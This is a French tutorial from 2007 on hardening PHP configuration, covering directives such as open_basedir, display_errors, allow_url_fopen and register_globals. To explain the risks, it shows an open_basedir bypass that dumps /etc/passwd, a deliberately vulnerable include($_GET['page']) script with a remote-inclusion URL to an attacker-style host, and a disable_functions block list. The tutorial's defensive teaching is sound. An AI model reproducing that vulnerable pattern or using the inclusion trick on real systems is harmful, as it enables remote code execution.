La configuration de PHP
Date de publication : 12/06/2007
Par
julp (Autres articles)
Beaucoup trop de personnes négligent la configuration de PHP alors que bon
nombre de ses paramètres de configuration ont une implication directe, et
d'autres un peu moins, sur la sécurité de votre environnement. Certaines
directives sont en revanche déconseillées et obsolètes. Faisons le point.
1. Introduction
2. Agir sur la configuration de PHP depuis Apache
3. Les directives
3.1. Liées à la sécurité
3.2. Les fonctionnalités obsolètes
3.3. Les paramètres de limitation
4. Conclusion
4.1. Récapitulatif
4.2. Epilogue
1. Introduction
Il faut tout d'abord distinguer deux cas bien distincts :
-
L'environnement de développement, où il est nécessaire d'avoir le
plus d'informations possibles et où les performances ne sont pas
réellement recherchées. Le développeur aura besoin d'obtenir les
différents messages d'erreurs et de pouvoir évaluer le comportement
de son site (tests) en temps réel exit les fonctions de cache et
autres fonctionnalités du même acabit (sauf pour leurs propres
développements bien sûr).
-
Le milieu de production est, quant à lui, bien plus rigoureux :
la sécurité doit primer avant tout, suivi de très près par les
performances pour assurer au mieux disponibilité et intégrité.
On peut éventuellement ajouter un état à mi-chemin des deux cités
ci-dessus, que l'on appellerait de test ou de pré-production pour
évaluer les performances avant une mise en situation réelle. Il n'y
a cependant pas de configuration type d'autant plus qu'elle peut être
amenée à être modifiée suivant la nature des essais menés.
2. Agir sur la configuration de PHP depuis Apache
Il n'est parfois pas intéressant de devoir modifier globalement le
comportement de PHP en agissant sur le fichier php.ini. En effet, le
changement apporté serait alors valable pour l'ensemble de vos scripts
ce qui peut s'avérer à la fois dangereux et être à l'origine d'une
baisse de performance générale.
Lorsque PHP est compilé en tant que module Apache, il vous offre alors
la possibilité de redéfinir le comportement de certaines directives de
manière locale, propre à un répertoire donné (ainsi que sa hiérarchie).
Pour ce faire, l'administrateur du serveur peut définir directement ces
nouvelles valeurs dans le fichier de configuration d'Apache et laisser
également à ses utilisateurs la possibilité de les modifier selon leurs
besoins via un fichier .htaccess à condition que le répertoire ciblé ait
hérité de la valeur Options (ou All) pour la directive
AllowOverride.
Notre administrateur emploiera soit php_admin_value/php_admin_flag s'il
ne souhaite pas que les valeurs qu'il définit puissent être outrepassées
par l'utilisateur et dans le cas contraire php_value/php_flag. En
revanche, l'utilisateur dans son fichier .htaccess n'a pas le choix ce
sera php_flag pour une directive attendant une valeur booléenne (type
On/Off) et php_value dans tous les autres cas.
Exemple concret : pour un serveur en production pouvant héberger
quelques sites sérieux, l'administrateur en charge de celui-ci souhaite
confiner ses clients, c'est à dire leur restreindre chacun l'accès à une
arborescence très précise du système de fichiers en leur laissant la
possibilité de redéfinir certaines directives de configuration.
Dans le fichier de configuration d'Apache, l'administrateur pour limiter
l'accès aux fichiers de chacun, définit, au niveau de la racine du site,
les répertoires temporaires pour les sessions et les fichiers uploadés
qui leur seront propres et active la fonctionnalité open_basedir pour le
confinement :
<Directory /web/site1/online/>
AllowOverride All
php_admin_value upload_tmp_dir "/web/site1/offline/tmp"
php_admin_value session.save_path "/web/site1/offline/sessions"
php_admin_value open_basedir "/web/site1/"
</Directory>
|
Un utilisateur averti souhaitant pouvoir envoyer des fichiers plus
volumineux qu'en temps normal dans sa partie administration (répertoire
admin situé à la racine de son site) écrit donc son fichier .htaccess
comme suit :
| /web/site1/online/admin/.htaccess |
php_value upload_max_filesize 4M
|
Toutes les directives ne sont pas modifiables par ces manières. La
documentation
de PHP recense toutes les directives avec les possibilités de
redéfinition : par l'utilisateur dans son script via ini_set sont
marquées PHP_INI_USER (incluant PHP_INI_ALL) ; par l'utilisateur par le
biais d'un fichier .htaccess, PHP_INI_PERDIR et enfin par
l'administrateur dans le fichier de configuration d'Apache,
PHP_INI_SYSTEM.
3. Les directives
3.1. Liées à la sécurité
-
display_errors :
Valeur recommandée en production : Off
Valeur recommandée en développement : On
Discussion : Pourquoi placer celle-ci dans la partie
Sécurité ? Tout simplement parce qu'en plus de ne pas être
esthétique vous fourniriez de précieuses informations à
de potentiels attaquants pour un serveur en ligne. Par
contre, lors de la phase de développement nous avons besoin
de ces messages d'erreur pour apporter les corrections
nécessaires.
D'autres directives liées aux erreurs sont toutes aussi
importantes :
-
log_errors : à positionner systématiquement
sur On afin de garder une trace de toute erreur.
-
error_reporting : les types des erreurs à
reporter. Valeur recommandée : E_ALL | E_STRICT pour
les versions PHP 5 et E_ALL pour PHP 4.
-
html_errors : en production attribuez lui la
valeur Off, la forme HTML des messages d'erreur est
inutile d'autant plus que l'on se contente de les
loguer. A l'inverse, la forme HTML convient au
développement et on peut, en renseignant les
directives docref_root et docref_ext, avoir
directement les liens vers la documentation de la
fonction à la source de l'erreur.
-
open_basedir :
La fonctionnalité la plus intéressante en matière de
sécurité proposée par PHP. Elle permet de limiter les
opérations sur les fichiers à des répertoires bien précis.
Il faut avouer qu'elle souffre parfois de problèmes très
localisés de sécurité dus à des contrôles oubliés par les
développeurs qui participent au développement de PHP et de
ses extensions.
Par contre, ne faites en aucun cas figurer le répertoire
courant (désigné par .) dans cette directive pour des
versions strictement inférieures à 4.4.5 et 5.2.0 car cela
aurait pour effet d'annihiler cette protection. En effet, il
suffirait alors de changer le répertoire courant avec la
fonction chdir pour contourner cette restriction.
Démonstration :
Avec open_basedir = ".:/home/julp/www/:/tmp/"
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/bin/sh
daemon:x:2:2:daemon:/sbin:/bin/sh
operator:x:11:0:operator:/var:/bin/sh
nobody:x:65534:65534:Nobody:/:/bin/sh
julp:x:1000:1000:Julp:/home/julp:/bin/bash
mysql:x:76:1001::/home/mysql:/bin/bash
sshd:x:77:77:system user for openssh:/var/empty:/bin/true
ldap:x:78:78:system user for openldap:/var/lib/ldap:/bin/false
|
Avec open_basedir = "/home/julp/www/:/tmp/"
Warning: file_get_contents(): open_basedir restriction in effect. File(passwd) is not within the allowed path(s): (/home/julp/www/:/tmp/) in /home/julp/www/openbasedir.php on line 3
Warning: file_get_contents(passwd): failed to open stream: Operation not permitted in /home/julp/www/openbasedir.php on line 3
|
La fonction chdir a été revue à partir des versions citées
plus haut pour ne plus être fonctionnelle en dehors des
chemins couverts par open_basedir.
N'omettez pas d'inclure les répertoires temporaires utilisés
pour stocker les fichiers de sessions (session.save_path) et
celui des fichiers uploadés (upload_tmp_dir) comme valeurs
de cette directive. Voir de les individualiser pour vos
différents sites.
-
expose_php :
Valeur recommandée en production : Off
Valeur recommandée en développement : On
Discussion : actif (valeur On), PHP ajoute de lui-même un
en-tête indiquant la présence de ce langage sur le serveur
ainsi que sa version. Illustration :
A On :
HTTP/1.1 200 OK
Date: Thu, 17 May 2007 17:44:32 GMT
Server: Apache
X-Powered-By: PHP/5.2.1
Content-Type: text/html
|
A Off :
HTTP/1.1 200 OK
Date: Thu, 17 May 2007 17:43:51 GMT
Server: Apache
Content-Type: text/html
|
Renseignement que l'on peut obtenir en quelques lignes de
code avec PHP et
cURL notamment :
Donc à moins d'être constamment à jour, je vous conseille
fortement de ne pas faire figurer cette information. De
plus, à la longue cela pourrait vous faire économiser une
partie de votre tafic.
A noter également que suivant la configuration d'Apache au
niveau de la directive ServerTokens, la version de PHP (parmi
d'autres) peut apparaître à la ligne Server des en-têtes.
-
enable_dl :
Valeur recommandée en production : Off
Valeur recommandée en développement : Off
Discussion : cette directive dépréciée et supprimée par
l'arrivée prochaine de PHP 6 est généralement réservée aux
développeurs d'extension pour qu'ils puissent tester plus
facilement leur bon fonctionnement. Il faut impérativement
la désactiver sur un serveur en production car il suffirait
alors à quelqu'un d'uploader ou de compiler sur le serveur
une extension php pour l'utiliser, et ce, que son but soit
louable (disposer d'une extension qui n'est pas initialement
proposée) ou non (outrepasser la configuration de PHP par
exemple).
-
disable_functions et disable_classes :
Discussion : elles attendent respectivement une liste de
fonctions et de classes (séparées par des virgules) de base
à interdire. En guise d'exemple, nous souhaitons interdire
toutes les fonctions d'exécution de programmes externes :
disable_functions = exec,passthru,popen,proc_close,proc_status,proc_nice,proc_open,proc_terminate,shell_exec,system
|
-
allow_url_fopen :
Discussion : c'est une fonctionnalité très pratique mais à
bannir dès lors que vous pensez qu'elle peut être mal
employée et que vous ne possédez pas une version supérieure
ou égale à 5.2.0, ce qui vous permettrait d'interdire
l'inclusion directe de fichiers externes grâce à la directive
allow_url_include. Qu'est-ce que j'entends par mal employée ?
Un cas banal :
| index.php |
<?php
define('PAGE_PAR_DEFAUT', 'accueil.php');
if (!isset($_GET['page'])) {
include(PAGE_PAR_DEFAUT);
} else {
include($_GET['page']);
}
?>
|
On peut donc faire exécuter un script distant simplement en
modifiant l'URL :
index.php?page=http://www.machine-hackee.fr/script_pirate.txt,
script pouvant correspondre à :
| http://www.machine-hackee.fr/script_pirate.txt |
|
Il est ainsi possible au pirate de faire tout ce qui lui
plait : effacer votre base de données, naviguer dans vos
fichiers, récupérer et utiliser à votre insu des données
(adresses email), etc.
Par contre, il serait préférable de fournir d'autres
méthodes pour permettre l'interaction avec des serveurs
applicatifs distants à vos utilisateurs dont l'extension
cURL qui est un remplaçant de premier choix. Sauf si le but
est précisément d'interdire toute communication avec
l'extérieur (chose que l'on peut aussi appliquer et affiner
avec un pare-feu).
3.2. Les fonctionnalités obsolètes
-
register_globals :
Valeur recommandée en production : Off
Valeur recommandée en développement : Off
Discussion : cette directive est apparue avec la version
4.1.0 pour prendre ensuite une valeur à Off par défaut avec
la version 4.2.0 et disparaîtra définitivement à la sortie de
PHP 6. Les débutants apprécient énormément un environnement
où celle-ci est à On car cela leur simplifie l'écriture et la
compréhension d'un script mais engendre des effets de bord.
Certaines variables peuvent se voir écrasées au niveau de
leur valeur par des variables du même nom qui transiteraient
par les méthodes externes (GET, POST, COOKIE, SESSION). Le
développeur peut ainsi perdre des heures à débuguer un code
à cause de cela et sans parler des personnes malveillantes
qui pourraient facilement exploiter à leur profit cette
fonctionnalité.
Une utilisation non réfléchie de la fonction extract ou tout
autre stratagème au même but sur des variables externes (GET,
POST, ...) revient à activer cette fonctionnalité. On
retrouverait ainsi strictement les mêmes problèmes que ceux
cités ci-dessus.
-
register_long_arrays :
Valeur recommandée en production : Off
Valeur recommandée en développement : Off
Discussion : ne concerne que les versions 5 de PHP
(n'existera plus à la version 6), elle a pour but de recréer
les tableaux globaux que l'on connaissait auparavant sous les
noms $HTTP_*_VARS (exemple $HTTP_POST_VARS, désormais appelé
$_POST). A désactiver pour des raisons de performance et
pour éviter tout effet de bord. Certains scripts pourraient
demander une réactivation de celle-ci, auquel cas il serait
plus judicieux de le faire de manière localisée grâce à un
fichier .htaccess.
-
magic_quotes_gpc :
Valeur recommandée en production : Off
Valeur recommandée en développement : Off
Discussion : cette directive a pour but, lorsqu'elle est
activée, d'appeler automatiquement la fonction addslashes
en début de script sur les variables externes (méthodes GET,
POST, COOKIE, SESSION, ...). Or, il serait beaucoup plus
approprié de laisser le soin aux développeurs de traiter
(et sécuriser) eux-mêmes les données en fonction de leur
nature, de leur provenance et de leur finalité.
L'exemple le plus courant est de construire une requête en
fonction de données obtenues d'un formulaire. Pour se
protéger des injections SQL, il faudrait échapper les
caractères spéciaux du SGBD en question. Il faut savoir que
chaque SGBDR propose une fonction d'échappement qui lui est
propre et qui s'avère bien plus adéquate que addslashes qui
est trop générique (certains caractères spéciaux ne seront
pas échappés). Vous pouvez retrouvez toutes ces fonctions
dans
Comment se protéger des failles d'injection ?.
Ce paramètre, ainsi que ses camarades (magic_quotes_runtime
et magic_quotes_sybase qui ont un but semblable), sont vouées
à une prochaine disparition avec PHP 6.
-
safe_mode :
Discussion : le safe mode n'a de sûr que le nom. Certes,
j'exagère quelque peu mais c'est un faux ami. Il effectue
essentiellement des contrôles au niveau des propriétaires
des fichiers avant de décider si oui ou non le script peut
agir sur celui-ci (cela inclue une simple lecture). C'est
trop efficace dans certains cas car Apache tournant sur un
utilisateur dédié, il ne vous permettra pas de lire des
fichiers qu'ils ne possèdent pas (des fichiers que vous avez
uploadé par exemple) et inutiles pour tous les autres. Il
faut préférer open_basedir, la seule directive maintenue
dans la version 6 de PHP et qui est beaucoup plus stricte
et claire à l'usage.
3.3. Les paramètres de limitation
Les valeurs de toutes les directives abordées ici devraient être
fixées à une valeur minimale et être ajustées selon les besoins
via un fichier htaccess. Modifier ces paramètres directement dans
le fichier de configuration de PHP est une erreur puisque leur
application sera globale, touchant ainsi l'ensemble des scripts.
Imposer des limites à un script permet dans un sens de garantir
qu'un script buggé ne consommera pas toutes les ressources du
serveur de manière indéfinie, principalement en temps d'exécution
CPU ou en mémoire (qui n'a jamais réalisé une boucle infinie par
erreur ?).
-
max_execution_time :
Valeur par défaut : 30 secondes
Discussion : les 30 secondes d'exécution par défaut font
déjà beaucoup surtout quand la patience moyenne des
usagers est estimée aux alentours de 15 secondes. Si vous
atteignez cette limite, il vous est certainement possible
de revoir vos traitements afin de les optimiser.
-
memory_limit :
Valeur par défaut : 8 Mo
Discussion : les 8 Mo par défaut deviennent maintenant un peu
justes et on peut envisager de partir sur 16 Mo comme
nouvelle base après audit de la consommation moyenne des
scripts. Au delà, il vaut mieux la définir localement suivant
les besoins réels (pour la partie administration par exemple).
-
upload_max_filesize : (post_max_size)
Valeur par défaut : 2 Mo
Discussion : le protocole HTTP n'est pas adapté au transfert
de fichiers qui commencent à devenir importants, vous pouvez
donc l'augmenter un peu si besoin mais il ne faut pas espérer
uploader des fichiers imposants auquel cas des protocoles
spécialisés, comme FTP, seront plus adéquats.
Suivant la modification apportée à cette valeur vous pourrez
avoir besoin d'augmenter également la valeur de la directive
post_max_size (8 Mo par défaut) et max_execution_time pour
permettre au script d'avoir le temps de récupérer le ou les
fichiers dans leur intégralité.
4. Conclusion
4.1. Récapitulatif
| Directive |
Développement |
Production |
| register_globals |
Off |
Off |
| register_long_arrays |
Off |
Off |
| display_errors |
On |
Off |
| log_errors |
On |
On |
magic_quotes_gpc, magic_quotes_runtime magic_quotes_sybase |
Off |
Off |
| error_reporting |
PHP 5 : E_ALL | E_STRICT PHP 4 : E_ALL |
E_ALL |
| expose_php |
On |
Off |
| enable_dl |
Off sauf cas particuliers |
Off |
| allow_url_fopen |
L'idéal est de faire du code portable ou de s'adapter à la configuration de production |
Off si elle peut être mal utilisée et si on ne dispose pas de allow_url_include |
allow_url_include (versions 5.2.0 et supérieures) |
Off |
Off |
| html_errors |
On Définissez les directives docref_root = "http://fr.php.net/manual/fr/" et docref_ext = .php par exemple pour utiliser directement la documentation en ligne. |
Off |
4.2. Epilogue
Vous avez maintenant toutes les informations nécessaires pour
configurer avec un minimum de bon sens vos différents environnements.
Il faut être conscient que chaque acte a des implications qu'il faut
bien mesurer avant et c'est d'autant plus vrai avec un serveur en
production que vous ne devez pas introduire d'éventuelles "brèches".


Copyright © 2007 julp. Aucune reproduction, même partielle, ne peut être faite
de ce site et de l'ensemble de son contenu : textes, documents, images, etc
sans l'autorisation expresse de l'auteur.
Sinon vous encourez selon la loi jusqu'à 3 ans de prison et jusqu'à 300 000 E
de dommages et intérêts.
Cette page est déposée à la
SACD.